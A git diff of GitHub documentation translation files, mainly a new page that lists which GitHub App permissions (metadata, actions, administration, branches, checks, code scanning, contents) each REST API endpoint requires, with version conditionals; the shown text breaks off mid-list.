+- [`GET /repos/{owner}/{repo}/code-scanning/sarifs/{sarif_id}`](/rest/reference/code-scanning#list-recent-code-scanning-analyses-for-a-repository) (Lesen)
+- [`POST /repos/{owner}/{repo}/code-scanning/sarifs`](/rest/reference/code-scanning#upload-a-sarif-file) (Schreiben)
+- [`GET /repos/{owner}/{repo}/dependabot/alerts`](/rest/reference/dependabot#list-dependabot-alerts-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#get-a-dependabot-alert) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#update-a-dependabot-alert) (Schreiben)
+
+## Versehen mit einem Stern
+
+- [`GET /users/{username}/starred`](/rest/reference/activity#list-repositories-starred-by-a-user) (Lesen)
+- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-the-authenticated-user) (Lesen)
+- [`GET /user/starred/{owner}/{repo}`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (Lesen)
+- [`PUT /user/starred/{owner}/{repo}`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (Schreiben)
+- [`DELETE /user/starred/{owner}/{repo}`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (Schreiben)
+
+## Status
+
+- [`POST /repos/{owner}/{repo}/statuses/{sha}`](/rest/commits/statuses#create-a-commit-status) (Schreiben)
+
+## Diskussionen im Team
+
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) (Lesen)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) (Lesen)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-reaction) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#list-discussions) (Lesen)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#create-a-discussion) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#get-a-discussion) (Lesen)
+- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#update-a-discussion) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#delete-a-discussion) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#list-discussion-comments) (Lesen)
+- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#create-a-discussion-comment) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#get-a-discussion-comment) (Lesen)
+- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#update-a-discussion-comment) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#delete-a-discussion-comment) (Schreiben)
+
+## Watching (Überwachung)
+
+- [`GET /users/{username}/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) (Lesen)
+- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-the-authenticated-user) (Lesen)
diff --git a/translations/de-DE/content/rest/overview/permissions-required-for-github-apps.md b/translations/de-DE/content/rest/overview/permissions-required-for-github-apps.md
new file mode 100644
index 0000000000..3d7ecba758
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/permissions-required-for-github-apps.md
@@ -0,0 +1,973 @@
+---
+title: Permissions required for GitHub Apps
+intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.'
+redirect_from:
+  - /v3/apps/permissions
+  - /rest/reference/permissions-required-for-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+shortTitle: GitHub App permissions
+---
+
+## About {% data variables.product.prodname_github_app %} permissions
+
+{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)."
+
+## Metadata
+
+GitHub Apps have the **Read-only** metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information.
+
+If you set the metadata permission to **No access** and select a permission that requires repository access, GitHub will override your selection and set the metadata permission back to **Read-only**. To set the metadata permission to **No access**, you must set all permissions that require repository access to **No access** first.
+
+- [`GET /`](/rest#root-endpoint)
+- [`GET /codes_of_conduct`](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+- [`GET /codes_of_conduct/:key`](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+- [`GET /emojis`](/rest/reference/emojis#emojis)
+- [`GET /feeds`](/rest/reference/activity#get-feeds)
+- [`GET /licenses`](/rest/reference/licenses#get-all-commonly-used-licenses)
+- [`GET /licenses/:key`](/rest/reference/licenses#get-a-license)
+- [`POST /markdown`](/rest/reference/markdown#render-a-markdown-document)
+- [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+- [`GET /meta`](/rest/reference/meta#meta)
+- [`GET /organizations`](/rest/reference/orgs#list-organizations)
+- [`GET /orgs/:org`](/rest/reference/orgs#get-an-organization)
+- [`GET /orgs/:org/projects`](/rest/reference/projects#list-organization-projects)
+- [`GET /orgs/:org/repos`](/rest/reference/repos#list-organization-repositories)
+- [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+- [`GET /repos/:owner/:repo`](/rest/reference/repos#get-a-repository)
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/community/profile`](/rest/reference/repository-metrics#get-community-profile-metrics)
+{% endif -%}
+- [`GET /repos/:owner/:repo/contributors`](/rest/reference/repos#list-repository-contributors)
+- [`GET /repos/:owner/:repo/forks`](/rest/reference/repos#list-forks)
+- [`GET /repos/:owner/:repo/languages`](/rest/reference/repos#list-repository-languages)
+- [`GET /repos/:owner/:repo/license`](/rest/reference/licenses#get-the-license-for-a-repository)
+- [`GET /repos/:owner/:repo/stargazers`](/rest/reference/activity#list-stargazers)
+- [`GET /repos/:owner/:repo/stats/code_frequency`](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+- [`GET /repos/:owner/:repo/stats/commit_activity`](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+- [`GET /repos/:owner/:repo/stats/contributors`](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+- [`GET /repos/:owner/:repo/stats/participation`](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+- [`GET /repos/:owner/:repo/stats/punch_card`](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
+- [`GET /repos/:owner/:repo/subscribers`](/rest/reference/activity#list-watchers)
+- [`GET /repos/:owner/:repo/tags`](/rest/reference/repos#list-repository-tags)
+- [`GET /repos/:owner/:repo/topics`](/rest/reference/repos#get-all-repository-topics)
+- [`GET /repositories`](/rest/reference/repos#list-public-repositories)
+- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-a-user)
+- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
+- [`GET /users`](/rest/reference/users#list-users)
+- [`GET /users/:username`](/rest/reference/users#get-a-user)
+- [`GET /users/:username/followers`](/rest/reference/users#list-followers-of-a-user)
+- [`GET /users/:username/following`](/rest/reference/users#list-the-people-a-user-follows)
+- [`GET /users/:username/following/:target_user`](/rest/reference/users#check-if-a-user-follows-another-user)
+- [`GET /users/:username/gpg_keys`](/rest/reference/users#list-gpg-keys-for-a-user)
+- [`GET /users/:username/orgs`](/rest/reference/orgs#list-organizations-for-a-user)
+- [`GET /users/:username/received_events`](/rest/reference/activity#list-events-received-by-the-authenticated-user)
+- [`GET /users/:username/received_events/public`](/rest/reference/activity#list-public-events-received-by-a-user)
+- [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user)
+- [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
+
+### Collaborators
+- [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators)
+- [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
+
+### Commit comments
+- [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository)
+- [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment)
+- [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+- [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments)
+
+### Events
+- [`GET /events`](/rest/reference/activity#list-public-events)
+- [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+- [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events)
+- [`GET /repos/:owner/:repo/events`](/rest/reference/activity#list-repository-events)
+- [`GET /repos/:owner/:repo/events/issues`](/rest/reference/issues#list-issue-events-for-a-repository)
+- [`GET /users/:username/events`](/rest/reference/activity#list-events-for-the-authenticated-user)
+- [`GET /users/:username/events/public`](/rest/reference/activity#list-public-events-for-a-user)
+
+### Git
+- [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
+- [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template)
+
+### Organization members
+- [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members)
+- [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user)
+- [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members)
+- [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+
+### Search
+- [`GET /search/code`](/rest/reference/search#search-code)
+- [`GET /search/commits`](/rest/reference/search#search-commits)
+- [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests)
+- [`GET /search/labels`](/rest/reference/search#search-labels)
+- [`GET /search/repositories`](/rest/reference/search#search-repositories)
+- [`GET /search/topics`](/rest/reference/search#search-topics)
+- [`GET /search/users`](/rest/reference/search#search-users)
+
+### SSH keys
+- [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user)
+
+{% ifversion fpt or ghes or ghec %}
+## Actions
+
+- [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (read)
+- [`DELETE /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#delete-an-artifact) (write)
+- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id/zip`](/rest/reference/actions#download-an-artifact) (read)
+{% ifversion actions-cache-management -%}
+- [`GET /repos/:owner/:repo/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) (read)
+{% endif -%}
+- [`GET /repos/:owner/:repo/actions/jobs/:job_id`](/rest/reference/actions#get-a-job-for-a-workflow-run) (read)
+- [`GET /repos/:owner/:repo/actions/jobs/:job_id/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (read)
+- [`GET /repos/:owner/:repo/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/actions/runs/:run_id`](/rest/reference/actions#get-a-workflow-run) (read)
+{% ifversion fpt or ghec -%}
+- [`POST /repos/:owner/:repo/actions/runs/:run_id/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) (write)
+{% endif -%}
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (read)
+- [`POST /repos/:owner/:repo/actions/runs/:run_id/cancel`](/rest/reference/actions#cancel-a-workflow-run) (write)
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (read)
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#download-workflow-run-logs) (read)
+- [`DELETE /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#delete-workflow-run-logs) (write)
+- [`POST /repos/:owner/:repo/actions/runs/:run_id/rerun`](/rest/reference/actions#re-run-a-workflow) (write)
+- [`GET /repos/:owner/:repo/actions/workflows`](/rest/reference/actions#list-repository-workflows) (read)
+- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id`](/rest/reference/actions#get-a-workflow) (read)
+- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (read)
+- [`POST /repos/:owner/:repo/actions/workflows/:workflow_id/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) (write)
+{% endif %}
+
+## Administration
+
+- [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (write)
+- [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (write)
+- [`DELETE /repos/:owner/:repo`](/rest/reference/repos#delete-a-repository) (write)
+- [`GET /repos/:owner/:repo/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (read)
+- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (write)
+- [`GET /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (read)
+- [`POST /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (write)
+- [`PUT /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (write)
+- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (write)
+- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (write)
+{% ifversion fpt or ghec or ghes -%}
+- [`POST /repos/:owner/:repo/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (write)
+- [`POST /repos/:owner/:repo/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /repos/:owner/:repo/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) (write)
+{% endif -%}
+- [`POST /repos/:owner/:repo/forks`](/rest/reference/repos#create-a-fork) (write)
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (write)
+{% endif -%}
+{% ifversion ghes > 3.3 -%}
+- [`GET /repos/:owner/:repo/replicas/caches`](/rest/reference/repos#list-repository-cache-replication-status) (read)
+{% endif -%}
+- [`PUT /repos/:owner/:repo/topics`](/rest/reference/repos#replace-all-repository-topics) (write)
+- [`POST /repos/:owner/:repo/transfer`](/rest/reference/repos#transfer-a-repository) (write)
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) (write)
+{% endif -%}
+- [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#accept-a-repository-invitation) (write)
+- [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#decline-a-repository-invitation) (write)
+
+### Branches
+- [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#get-branch-protection) (read)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#update-branch-protection) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#delete-branch-protection) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#get-admin-branch-protection) (read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#set-admin-branch-protection) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#delete-admin-branch-protection) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#get-pull-request-review-protection) (read)
+- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#update-pull-request-review-protection) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#delete-pull-request-review-protection) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#get-commit-signature-protection) (read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#create-commit-signature-protection) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#delete-commit-signature-protection) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#get-status-checks-protection) (read)
+- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#update-status-check-protection) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#remove-status-check-protection) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#get-all-status-check-contexts) (read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#add-status-check-contexts) (write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#set-status-check-contexts) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#remove-status-check-contexts) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#get-access-restrictions) (read)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#delete-access-restrictions) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#list-teams-with-access-to-the-protected-branch) (read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#add-team-access-restrictions) (write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#set-team-access-restrictions) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#remove-team-access-restrictions) (write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#list-users-with-access-to-the-protected-branch) (read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#add-user-access-restrictions) (write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#set-user-access-restrictions) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#remove-user-access-restrictions) (write)
+- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (write)
+
+### Collaborators
+- [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (write)
+- [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (write)
+
+### Invitations
+- [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (read)
+- [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (write)
+- [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (write)
+
+### SSH keys
+- [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (read)
+- [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (write)
+- [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (read)
+- [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (write)
+
+### Teams
+- [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (read)
+- [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (write)
+- [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (write)
+
+{% ifversion fpt or ghec %}
+### Traffic
+- [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (read)
+- [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (read)
+- [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (read)
+- [`GET /repos/:owner/:repo/traffic/views`](/rest/reference/repository-metrics#get-page-views) (read)
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Blocking users
+
+- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (read)
+- [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (read)
+- [`PUT /user/blocks/:username`](/rest/reference/users#block-a-user) (write)
+- [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (write)
+{% endif %}
+
+## Checks
+
+- [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (write)
+- [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (read)
+- [`PATCH /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#update-a-check-run) (write)
+- [`GET /repos/:owner/:repo/check-runs/:check_run_id/annotations`](/rest/reference/checks#list-check-run-annotations) (read)
+- [`POST /repos/:owner/:repo/check-suites`](/rest/reference/checks#create-a-check-suite) (write)
+- [`GET /repos/:owner/:repo/check-suites/:check_suite_id`](/rest/reference/checks#get-a-check-suite) (read)
+- [`GET /repos/:owner/:repo/check-suites/:check_suite_id/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (read)
+- [`POST /repos/:owner/:repo/check-suites/:check_suite_id/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (write)
+- [`PATCH /repos/:owner/:repo/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) (write)
+- [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (read)
+- [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (read)
+
+## Code scanning alerts
+
+- [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (read)
+- [`PATCH /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#update-a-code-scanning-alert) (write)
+- [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) (read)
+- [`GET /repos/:owner/:repo/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/code-scanning/analyses/:analysis_id`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) (read)
+{% ifversion fpt or ghec or ghes -%}
+- [`DELETE /repos/:owner/:repo/code-scanning/analyses/:analysis_id`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) (write)
+{% endif -%}
+- [`POST /repos/:owner/:repo/code-scanning/sarifs`](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data) (write)
+- [`GET /repos/:owner/:repo/code-scanning/sarifs/:sarif_id`](/rest/reference/code-scanning#get-information-about-a-sarif-upload) (read)
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 -%}
+- [`GET /orgs/:org/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) (read)
+{% endif -%}
+
+{% ifversion fpt or ghec %}
+## Codespaces
+
+- [`GET /repos/:owner/:repo/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository)
+{% endif %}
+
+## Commit statuses
+
+- [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (read)
+- [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (read)
+- [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (write)
+
+## Contents
+
+- [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (read)
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#delete-an-artifact) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id/zip`](/rest/reference/actions#download-an-artifact) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/jobs/:job_id`](/rest/reference/actions#get-a-job-for-a-workflow-run) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/jobs/:job_id/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/runs/:run_id`](/rest/reference/actions#get-a-workflow-run) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (read)
+{% endif -%}
+{% ifversion fpt -%}
+- [`POST /repos/:owner/:repo/actions/runs/:run_id/cancel`](/rest/reference/actions#cancel-a-workflow-run) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#download-workflow-run-logs) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#delete-workflow-run-logs) (write)
+{% endif -%}
+{% ifversion fpt -%}
+- [`POST /repos/:owner/:repo/actions/runs/:run_id/rerun`](/rest/reference/actions#re-run-a-workflow) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
